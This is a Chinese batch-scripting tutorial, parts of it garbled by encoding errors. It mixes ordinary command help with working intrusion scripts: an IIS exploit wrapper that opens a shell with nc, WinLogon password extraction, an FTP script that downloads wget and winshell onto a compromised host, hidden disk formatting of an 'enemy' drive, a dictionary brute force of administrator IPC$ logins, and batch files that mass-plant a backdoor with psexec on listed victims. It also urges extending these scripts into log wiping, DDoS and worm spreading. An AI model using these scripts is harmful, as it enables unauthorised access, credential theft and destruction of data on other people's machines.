idahack.exe %1 80 1 99 >%temp%_tmp

@echo "prog exit code [%errorlevel%] idahack.exe"

@type %temp%_tmp

@find "good luck :)" %temp%_tmp

@echo "prog exit code [%errorlevel%] find [goog luck]"

@if NOT errorlevel 1 nc.exe %1 99

@goto END

:SP2

@idahack.exe %1 80 %2 99 %temp%_tmp

@type %temp%_tmp

@find "good luck :)" %temp%tmp

@if NOT errorlevel 1 nc.exe %1 99

@goto END

:USAGE

@echo Example: ida.bat IP

@echo Example: ida.bat IP (2,3)

:END

ida.batEND

下面我們?cè)賮?lái)第二個(gè)文件.就是得到administrator的口令.

大多數(shù)人說(shuō)得不到.其實(shí)是自己的沒(méi)有輸入正確的信息.

fpass.bat

@rem ver 1.0

@if NOT exist %windir%system32findpass.exe echo "ERROR: dont find findpass.exe"

@if NOT exist %windir%system32pulist.exe echo "ERROR: dont find pulist.exe"

@echo start....

@echo

@if "%1"=="" goto USAGE

@findpass.exe %1 %2 %3 >> %temp%_findpass.txt

@echo "prog exit code [%errorlevel%] findpass.exe"

@type %temp%_findpass.txt

@echo Herepass★★★★★★★★

@ipconfig /all >>%temp%_findpass.txt

@goto END

:USAGE

@pulist.exe >%temp%_pass.txt

@findstr.exe /i "WINLOGON explorer internat" %temp%pass.txt

@echo "Example: fpass.bat %1 %2 %3 %4 !!!"

@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

:END

@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "

@echo " fpass.bat end [%errorlevel%] !"

fpass.batEND__

還有一個(gè)就是已經(jīng)通過(guò)telnet登陸了一個(gè)遠(yuǎn)程主機(jī).怎樣上傳文件(win)

依次在窗口輸入下面的東西. 當(dāng)然了也可以全部拷貝.Ctrl+V過(guò)去. 然后就等待吧!!

echo open 210.64.x.4 3396>w

echo read>>w

echo read>>w

echo cd winnt>>w

echo binary>>w

echo pwd >>w

echo get wget.exe >>w

echo get winshell.exe >>w

echo get any.exe >>w

echo quit >>w

ftp -s:w

批處理,說(shuō)白了就是DOS操作。有人認(rèn)為DOS操作過(guò)時(shí)了、落后了,其實(shí)不然。DOS操作最大的好處就在于快、不留痕。在許多時(shí)候,Windows操作是根本解決不了問(wèn)題的,必須借助DOS操作。

  必備常識(shí):批處理的編寫(xiě)和修改

  打開(kāi)記事本,將要編寫(xiě)的內(nèi)容寫(xiě)在里面。在存為bat文件即可。修改也可以用記事本打開(kāi)進(jìn)行修改。

  批處理運(yùn)用一:掃描本地端口

  這個(gè)功能優(yōu)化大師有,就是掃描哪個(gè)端口與internet連接和連接ip。這,為及時(shí)發(fā)現(xiàn)并攔截非法連接有著不可取代的功勞。

  然而,啟動(dòng)優(yōu)化大師太慢了,而且太煩了,不利于隨機(jī)使用。因此,編寫(xiě)一個(gè)這樣的批處理來(lái)解決問(wèn)題就顯得尤為重要了。

  代碼:

  netstat -n

  pause

  附:也可在每一行開(kāi)頭添上“@”,這樣命令就不會(huì)顯示出來(lái)。

  批處理運(yùn)用二:查常見(jiàn)病毒

  其實(shí),對(duì)于上網(wǎng)的人來(lái)說(shuō),遇到病毒是在所難免的。然而,如果真的不幸感染,怎樣才能發(fā)現(xiàn)呢?難道真的要買(mǎi)昂貴的殺毒軟件嗎?不一定。

  我們可以編寫(xiě)批處理來(lái)查一些常見(jiàn)的網(wǎng)絡(luò)病毒。如果確認(rèn)感染病毒,可以下載專(zhuān)用殺毒工具進(jìn)行查殺,或采取其他途徑殺毒。

  下面,我以歡樂(lè)時(shí)光為例進(jìn)行分析:

  主文件:1.bat

  其它文件:2.bat 3.bat

  1.bat代碼:

  @if exist c:\folder.htt call 2.bat

  @if exist d:\folder.htt call 2.bat

  @if exist e:\folder.htt call 2.bat

  @if exist f:\folder.htt call 2.bat

  2.bat代碼:

  @echo 發(fā)現(xiàn)歡樂(lè)時(shí)光病毒!

  @call 3.bat

  @pause

  3.bat代碼:

  @c:

  @dir .htt .ini /s/a>1.txt

  @d:

  @dir .htt .ini /s/a>1.txt

  @e:

  @dir .htt .ini /s/a>1.txt

  這樣,如果中毒,那么必定會(huì)存在大量folder.htt和Desktop.ini,通過(guò)這樣可以粗略的檢查計(jì)算機(jī)是否感染病毒。

  批處理運(yùn)用三:文件處理

  假設(shè),我要大規(guī)模的做文件的移動(dòng)、刪除等,如果在Windows里操作不免會(huì)出現(xiàn)錯(cuò)誤,而且這些錯(cuò)誤不易察覺(jué)。因此,用批處理進(jìn)行操作,不但簡(jiǎn)單易行,而且容易發(fā)現(xiàn)錯(cuò)誤并可以及時(shí)糾正。

  例如,我要將D盤(pán)的htm文件移動(dòng)到E盤(pán),再格式化D盤(pán),然后將文件移回D盤(pán),并改后綴為html。

  1.bat代碼:

  @E:

  @Md d

  @D:

  @Copy .htm e:\d

  @if exist e:\d.htm call 2.bat

  **

  2.bat代碼:

  @Format d:/q

  @Copy e:\d.htm d:

  @D:

  @Ren .htm .html

  從例子中,可以看出,如果一旦出現(xiàn)問(wèn)題,是很容易被發(fā)現(xiàn)的。從而,也證明了批處理的可用性。

  關(guān)于批處理的運(yùn)用,可以說(shuō)博大精深,變化莫測(cè)。希望大家能夠用DOS命令去優(yōu)化它,這樣才能讓其更好的為我們服務(wù)。

批處理命令

1.Echo 命令

打開(kāi)回顯或關(guān)閉請(qǐng)求回顯功能,或顯示消息。如果沒(méi)有任何參數(shù),echo 命令將顯示當(dāng)前回顯設(shè)置。

語(yǔ)法:echo [{on|off}] [message]

Sample:echo off / echo hello world

在實(shí)際應(yīng)用中我們會(huì)把這條命令和重定向符號(hào)(也稱(chēng)為管道符號(hào),一般用> >> ^)結(jié)合來(lái)實(shí)現(xiàn)輸入一些命令到特定格式的文件中.這將在以后的例子中體現(xiàn)出來(lái)。

2.@ 命令

表示不顯示@后面的命令,在入侵過(guò)程中(例如使用批處理來(lái)格式化敵人的硬盤(pán))自然不能讓對(duì)方看到你使用的命令啦。

Sample:@echo off

@echo Now initializing the program,please wait a minite...

@format X: /q/u/autoset (format 這個(gè)命令是不可以使用/y這個(gè)參數(shù)的,可喜的是微軟留了個(gè)autoset這個(gè)參數(shù)給我們,效果和/y是一樣的。)

3.Goto 命令

指定跳轉(zhuǎn)到標(biāo)簽,找到標(biāo)簽后,程序?qū)⑻幚韽南乱恍虚_(kāi)始的命令。

語(yǔ)法:goto label (label是參數(shù),指定所要轉(zhuǎn)向的批處理程序中的行。)

Sample:

if {%1}=={} goto noparms

if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話(huà),先跳過(guò)去,后面會(huì)有詳細(xì)的解釋。)

@Rem check parameters if null show usage

:noparms

echo Usage: monitor.bat ServerIP PortNumber

goto end

標(biāo)簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個(gè):用來(lái)表示這個(gè)字母是標(biāo)簽,goto命令就是根據(jù)這個(gè):來(lái)尋找下一步跳到到那里。最好有一些說(shuō)明這樣你別人看起來(lái)才會(huì)理解你的意圖啊。

4.Rem 命令

注釋命令,在C語(yǔ)言中相當(dāng)與/--------/,它并不會(huì)被執(zhí)行,只是起一個(gè)注釋的作用,便于別人閱讀和你自己日后修改。

Rem Message

Sample:@Rem Here is the description.

5.Pause 命令

運(yùn)行 Pause 命令時(shí),將顯示下面的消息:

Press any key to continue . . .

Sample:

@echo off

:begin

copy a:. d:\back

echo Please put a new disk into driver A

pause

goto begin

在這個(gè)例子中,驅(qū)動(dòng)器 A 中磁盤(pán)上的所有文件均復(fù)制到d:\back中。顯示的注釋提示您將另一張磁盤(pán)放入驅(qū)動(dòng)器 A 時(shí),pause 命令會(huì)使程序掛起,以便您更換磁盤(pán),然后按任意鍵繼續(xù)處理。

6.Call 命令

從一個(gè)批處理程序調(diào)用另一個(gè)批處理程序,并且不終止父批處理程序。call 命令接受用作調(diào)用目標(biāo)的標(biāo)簽。如果在腳本或批處理文件外使用 Call,它將不會(huì)在命令行起作用。

語(yǔ)法:call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

參數(shù):[Drive:}[Path] FileName

指定要調(diào)用的批處理程序的位置和名稱(chēng)。filename 參數(shù)必須具有 .bat 或 .cmd 擴(kuò)展名。

7.start 命令

調(diào)用外部程序,所有的DOS命令和命令行程序都可以由start命令來(lái)調(diào)用。

入侵常用參數(shù):

MIN 開(kāi)始時(shí)窗口最小化

SEPARATE 在分開(kāi)的空間內(nèi)開(kāi)始 16 位 Windows 程序

HIGH 在 HIGH 優(yōu)先級(jí)類(lèi)別開(kāi)始應(yīng)用程序

REALTIME 在 REALTIME 優(yōu)先級(jí)類(lèi)別開(kāi)始應(yīng)用程序

WAIT 啟動(dòng)應(yīng)用程序并等候它結(jié)束

parameters 這些為傳送到命令/程序的參數(shù)

執(zhí)行的應(yīng)用程序是 32-位 GUI 應(yīng)用程序時(shí),CMD.EXE 不等應(yīng)用程序終止就返回命令提示。如果在命令腳本內(nèi)執(zhí)行,該新行為則不會(huì)發(fā)生。

8.choice 命令

choice 使用此命令可以讓用戶(hù)輸入一個(gè)字符,從而運(yùn)行不同的命令。使用時(shí)應(yīng)該加/c:參數(shù),c:后應(yīng)寫(xiě)提示可輸入的字符,之間無(wú)空格。它的返回碼為1234……

如: choice /c:dme defrag,mem,end

將顯示

defrag,mem,end[D,M,E]?

Sample:

Sample.bat的內(nèi)容如下:

@echo off

choice /c:dme defrag,mem,end

if errorlevel 3 goto defrag (應(yīng)先判斷數(shù)值最高的錯(cuò)誤碼)

if errorlevel 2 goto mem

if errotlevel 1 goto end

:defrag

c:\dos\defrag

goto end

:mem

mem

goto end

:end

echo good bye

此文件運(yùn)行后,將顯示 defrag,mem,end[D,M,E]? 用戶(hù)可選擇d m e ,然后if語(yǔ)句將作出判斷,d表示執(zhí)行標(biāo)號(hào)為defrag的程序段,m表示執(zhí)行標(biāo)號(hào)為mem的程序段,e表示執(zhí)行標(biāo)號(hào)為end的程序段,每個(gè)程序段最后都以goto end將程序跳到end標(biāo)號(hào)處,然后程序?qū)@示good bye,文件結(jié)束。

9.If 命令

if 表示將判斷是否符合規(guī)定的條件,從而決定執(zhí)行不同的命令。 有三種格式:

1、if "參數(shù)" == "字符串" 待執(zhí)行的命令

參數(shù)如果等于指定的字符串,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。(注意是兩個(gè)等號(hào))

如if "%1"=="a" format a:

if {%1}=={} goto noparms

if {%2}=={} goto noparms

2、if exist 文件名 待執(zhí)行的命令

如果有指定的文件,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。

如if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 數(shù)字 待執(zhí)行的命令

如果返回碼等于指定的數(shù)字,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。

如if errorlevel 2 goto x2

DOS程序運(yùn)行時(shí)都會(huì)返回一個(gè)數(shù)字給DOS,稱(chēng)為錯(cuò)誤碼errorlevel或稱(chēng)返回碼,常見(jiàn)的返回碼為0、1。

10.for 命令

for 命令是一個(gè)比較復(fù)雜的命令,主要用于參數(shù)在指定的范圍內(nèi)循環(huán)執(zhí)行命令。

在批處理文件中使用 FOR 命令時(shí),指定變量請(qǐng)使用 %%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]

%variable 指定一個(gè)單一字母可替換的參數(shù)。

(set) 指定一個(gè)或一組文件。可以使用通配符。

command 指定對(duì)每個(gè)文件執(zhí)行的命令。

command-parameters 為特定命令指定參數(shù)或命令行開(kāi)關(guān)。

在批處理文件中使用 FOR 命令時(shí),指定變量請(qǐng)使用 %%variable

而不要用 %variable。變量名稱(chēng)是區(qū)分大小寫(xiě)的,所以 %i 不同于 %I

如果命令擴(kuò)展名被啟用,下列額外的 FOR 命令格式會(huì)受到

支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符,則指定與目錄名匹配,而不與文件

名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

檢查以 [drive:]path 為根的目錄樹(shù),指向每個(gè)目錄中的

FOR 語(yǔ)句。如果在 /R 后沒(méi)有指定目錄,則使用當(dāng)前

目錄。如果集僅為一個(gè)單點(diǎn)(.)字符,則枚舉該目錄樹(shù)。

FOR /L %variable IN (start,step,end) DO command [command-para

該集表示以增量形式從開(kāi)始到結(jié)束的一個(gè)數(shù)字序列。

因此,(1,1,5) 將產(chǎn)生序列 1 2 3 4 5,(5,-1,1) 將產(chǎn)生

序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command

FOR /F ["options"] %variable IN ("string") DO command

FOR /F ["options"] %variable IN (command) DO command

或者,如果有 usebackq 選項(xiàng):

FOR /F ["options"] %variable IN (file-set) DO command

FOR /F ["options"] %variable IN ("string") DO command

FOR /F ["options"] %variable IN (command) DO command

filenameset 為一個(gè)或多個(gè)文件名。繼續(xù)到 filenameset 中的

下一個(gè)文件之前,每份文件都已被打開(kāi)、讀取并經(jīng)過(guò)處理。

處理包括讀取文件,將其分成一行行的文字,然后將每行

解析成零或更多的符號(hào)。然后用已找到的符號(hào)字符串變量值

調(diào)用 For 循環(huán)。以默認(rèn)方式,/F 通過(guò)每個(gè)文件的每一行中分開(kāi)

的第一個(gè)空白符號(hào)。跳過(guò)空白行。您可通過(guò)指定可選 "options"

參數(shù)替代默認(rèn)解析操作。這個(gè)帶引號(hào)的字符串包括一個(gè)或多個(gè)

指定不同解析選項(xiàng)的關(guān)鍵字。這些關(guān)鍵字為:

eol=c - 指一個(gè)行注釋字符的結(jié)尾(就一個(gè))

skip=n - 指在文件開(kāi)始時(shí)忽略的行數(shù)。

delims=xxx - 指分隔符集。這個(gè)替換了空格和跳格鍵的

默認(rèn)分隔符集。

tokens=x,y,m-n - 指每行的哪一個(gè)符號(hào)被傳遞到每個(gè)迭代

的 for 本身。這會(huì)導(dǎo)致額外變量名稱(chēng)的

格式為一個(gè)范圍。通過(guò) nth 符號(hào)指定 m

符號(hào)字符串中的最后一個(gè)字符星號(hào),

那么額外的變量將在最后一個(gè)符號(hào)解析之

分配并接受行的保留文本。

usebackq - 指定新語(yǔ)法已在下類(lèi)情況中使用:

在作為命令執(zhí)行一個(gè)后引號(hào)的字符串并且

引號(hào)字符為文字字符串命令并允許在 fi

中使用雙引號(hào)擴(kuò)起文件名稱(chēng)。

sample1:

FOR /F "eol=; tokens=2,3 delims=, " %i in (myfile.txt) do command

會(huì)分析 myfile.txt 中的每一行,忽略以分號(hào)打頭的那些行,將

每行中的第二個(gè)和第三個(gè)符號(hào)傳遞給 for 程序體;用逗號(hào)和/或

空格定界符號(hào)。請(qǐng)注意,這個(gè) for 程序體的語(yǔ)句引用 %i 來(lái)

取得第二個(gè)符號(hào),引用 %j 來(lái)取得第三個(gè)符號(hào),引用 %k

來(lái)取得第三個(gè)符號(hào)后的所有剩余符號(hào)。對(duì)于帶有空格的文件

名,您需要用雙引號(hào)將文件名括起來(lái)。為了用這種方式來(lái)使

用雙引號(hào),您還需要使用 usebackq 選項(xiàng),否則,雙引號(hào)會(huì)

被理解成是用作定義某個(gè)要分析的字符串的。

%i 專(zhuān)門(mén)在 for 語(yǔ)句中得到說(shuō)明,%j 和 %k 是通過(guò)

tokens= 選項(xiàng)專(zhuān)門(mén)得到說(shuō)明的。您可以通過(guò) tokens= 一行

指定最多 26 個(gè)符號(hào),只要不試圖說(shuō)明一個(gè)高于字母 z 或

Z 的變量。請(qǐng)記住,F(xiàn)OR 變量是單一字母、分大小寫(xiě)和全局的;

同時(shí)不能有 52 個(gè)以上都在使用中。

您還可以在相鄰字符串上使用 FOR /F 分析邏輯;方法是,

用單引號(hào)將括號(hào)之間的 filenameset 括起來(lái)。這樣,該字符

串會(huì)被當(dāng)作一個(gè)文件中的一個(gè)單一輸入行。

最后,您可以用 FOR /F 命令來(lái)分析命令的輸出。方法是,將

括號(hào)之間的 filenameset 變成一個(gè)反括字符串。該字符串會(huì)

被當(dāng)作命令行,傳遞到一個(gè)子 CMD.EXE,其輸出會(huì)被抓進(jìn)

內(nèi)存,并被當(dāng)作文件分析。因此,以下例子:

FOR /F "usebackq delims==" %i IN (set) DO @echo %i

會(huì)枚舉當(dāng)前環(huán)境中的環(huán)境變量名稱(chēng)。

另外,F(xiàn)OR 變量參照的替換已被增強(qiáng)。您現(xiàn)在可以使用下列

選項(xiàng)語(yǔ)法:

~I - 刪除任何引號(hào)("),擴(kuò)充 %I

%~fI - 將 %I 擴(kuò)充到一個(gè)完全合格的路徑名

%~dI - 僅將 %I 擴(kuò)充到一個(gè)驅(qū)動(dòng)器號(hào)

%~pI - 僅將 %I 擴(kuò)充到一個(gè)路徑

%~nI - 僅將 %I 擴(kuò)充到一個(gè)文件名

%~xI - 僅將 %I 擴(kuò)充到一個(gè)文件擴(kuò)展名

%~sI - 擴(kuò)充的路徑只含有短名

%~aI - 將 %I 擴(kuò)充到文件的文件屬性

%~tI - 將 %I 擴(kuò)充到文件的日期/時(shí)間

%~zI - 將 %I 擴(kuò)充到文件的大小

%~$PATH:I - 查找列在路徑環(huán)境變量的目錄,并將 %I 擴(kuò)充

到找到的第一個(gè)完全合格的名稱(chēng)。如果環(huán)境變量

未被定義,或者沒(méi)有找到文件,此組合鍵會(huì)擴(kuò)充

空字符串

可以組合修飾符來(lái)得到多重結(jié)果:

%~dpI - 僅將 %I 擴(kuò)充到一個(gè)驅(qū)動(dòng)器號(hào)和路徑

%~nxI - 僅將 %I 擴(kuò)充到一個(gè)文件名和擴(kuò)展名

%~fsI - 僅將 %I 擴(kuò)充到一個(gè)帶有短名的完整路徑名

%~dp$PATH:i - 查找列在路徑環(huán)境變量的目錄,并將 %I 擴(kuò)充

到找到的第一個(gè)驅(qū)動(dòng)器號(hào)和路徑。

%~ftzaI - 將 %I 擴(kuò)充到類(lèi)似輸出線(xiàn)路的 DIR

在以上例子中,%I 和 PATH 可用其他有效數(shù)值代替。%~ 語(yǔ)法

用一個(gè)有效的 FOR 變量名終止。選取類(lèi)似 %I 的大寫(xiě)變量名

比較易讀,而且避免與不分大小寫(xiě)的組合鍵混淆。

以上是MS的官方幫助,下面我們舉幾個(gè)例子來(lái)具體說(shuō)明一下For命令在入侵中的用途。

sample2:

利用For命令來(lái)實(shí)現(xiàn)對(duì)一臺(tái)目標(biāo)Win2k主機(jī)的暴力密碼破解。

我們用net use \ip\ipc$ "password" /u:"administrator"來(lái)嘗試這和目標(biāo)主機(jī)進(jìn)行連接,當(dāng)成功時(shí)記下密碼。

最主要的命令是一條:for /f i% in (dict.txt) do net use \ip\ipc$ "i%" /u:"administrator"

用i%來(lái)表示admin的密碼,在dict.txt中這個(gè)取i%的值用net use 命令來(lái)連接。然后將程序運(yùn)行結(jié)果傳遞給find命令--

for /f i%% in (dict.txt) do net use \ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,這樣就ko了。

sample3:

你有沒(méi)有過(guò)手里有大量肉雞等著你去種后門(mén)+木馬呢?,當(dāng)數(shù)量特別多的時(shí)候,原本很開(kāi)心的一件事都會(huì)變得很郁悶:)。文章開(kāi)頭就談到使用批處理文件,可以簡(jiǎn)化日常或重復(fù)性任務(wù)。那么如何實(shí)現(xiàn)呢?呵呵,看下去你就會(huì)明白了。

主要命令也只有一條:(在批處理文件中使用 FOR 命令時(shí),指定變量使用 %%variable)

@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k

tokens的用法請(qǐng)參見(jiàn)上面的sample1,在這里它表示按順序?qū)ictim.txt中的內(nèi)容傳遞給door.bat中的參數(shù)%i %j %k。

而cultivate.bat無(wú)非就是用net use命令來(lái)建立IPC$連接,并copy木馬+后門(mén)到victim,然后用返回碼(If errorlever =)來(lái)篩選成功種植后門(mén)的主機(jī),并echo出來(lái),或者echo到指定的文件。

delims= 表示vivtim.txt中的內(nèi)容是一空格來(lái)分隔的。我想看到這里你也一定明白這victim.txt里的內(nèi)容是什么樣的了。應(yīng)該根據(jù)%%i %%j %%k表示的對(duì)象來(lái)排列,一般就是 ip password username。

代碼雛形:

--------------- cut here then save as a batchfile(I call it main.bat ) --------------------

@echo off

@if "%1"=="" goto usage

@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k

@goto end

:usage

@echo run this batch in dos modle.or just double-click it.

:end

--------------- cut here then save as a batchfile(I call it main.bat ) --------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------

@net use \%1\ipc$ %3 /u:"%2"

@if errorlevel 1 goto failed

@echo Trying to establish the IPC$ connection …………OK

@copy windrv32.exe\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt

@pec \%1 c:\winnt\system32\windrv32.exe

@p*ec \%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt

:failed

@echo Sorry can not connected to the victim.

----------------- cut here then save as a batchfile(I call it door.bat) -------------------

這只是一個(gè)自動(dòng)種植后門(mén)批處理的雛形,兩個(gè)批處理和后門(mén)程序(Windrv32.exe),PSexec.exe需放在統(tǒng)一目錄下.批處理內(nèi)容

尚可擴(kuò)展,例如:加入清除日志+DDOS的功能,加入定時(shí)添加用戶(hù)的功能,更深入一點(diǎn)可以使之具備自動(dòng)傳播功能(蠕蟲(chóng)).此處不多做敘述,有興趣的朋友可自行研究. 


以上內(nèi)容是否對(duì)您有幫助:
在線(xiàn)筆記
App下載
App下載

掃描二維碼

下載編程獅App

公眾號(hào)
微信公眾號(hào)

編程獅公眾號(hào)